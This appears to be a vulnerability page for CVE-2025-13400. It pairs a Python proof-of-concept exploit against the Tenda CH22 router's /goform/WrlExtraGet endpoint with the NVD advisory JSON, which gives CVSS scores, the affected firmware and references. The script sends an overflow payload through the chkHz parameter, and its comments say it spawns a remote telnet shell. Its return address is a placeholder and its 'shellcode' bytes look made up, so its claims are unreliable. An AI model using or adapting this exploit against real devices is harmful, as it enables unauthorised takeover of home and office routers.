CVE-2025-13400

import requests import sys # CVE-2025-13400 PoC - Tenda CH22 formWrlExtraGet Buffer Overflow # Target: Tenda CH22 Router (Firmware 1.0.0.1) # Vulnerability: Buffer overflow in /goform/WrlExtraGet via chkHz parameter target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' target_port = 80 # Generate payload with NOP sled + shellcode + return address # Adjust the length to trigger buffer overflow def generate_payload(): # Padding to overflow the buffer padding = b'A' * 1000 # Overwrite return address (adjust based on firmware version) # Common gadget: system() -> execute shell commands return_addr = b'\x40\x10\x01\x00' # Example: adjust for actual firmware # Shellcode: spawn telnetd shell on port 4444 shellcode = b'\x50\x60\x51\x52\x53\x0c\x01\x01\x01\x01\x01\x01\x01' payload = padding + return_addr + shellcode return payload def exploit(): url = f'http://{target_ip}:{target_port}/goform/WrlExtraGet' # Construct malicious chkHz parameter payload = generate_payload() params = { 'chkHz': payload.decode('latin-1') } print(f'[*] Sending exploit to {url}') print(f'[*] Payload length: {len(payload)} bytes') try: response = requests.get(url, params=params, timeout=10) print(f'[+] Request sent successfully') print(f'[+] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip>') sys.exit(1) exploit()

{"cve": {"id": "CVE-2025-13400", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:47.177", "lastModified": "2026-02-24T07:16:49.813", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Tenda CH22 1.0.0.1. Affected is the function formWrlExtraGet of the file /goform/WrlExtraGet. Performing a manipulation of the argument chkHz results in buffer overflow. Remote exploitation of the attack is possible. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ch22_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "DB66174F-9460-4B60-AC6B-1B8D5700D6A0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ch22:-:*:*:*:*:*:*:*", "matchCriteriaId": "4B2CBA2D-54D0-4860-A4B4-2BF5238E76AE"}]}]}], "references": [{"url": "https://github.com/f000x0/cve/issues/14", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.332926", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.332926", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.692145", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}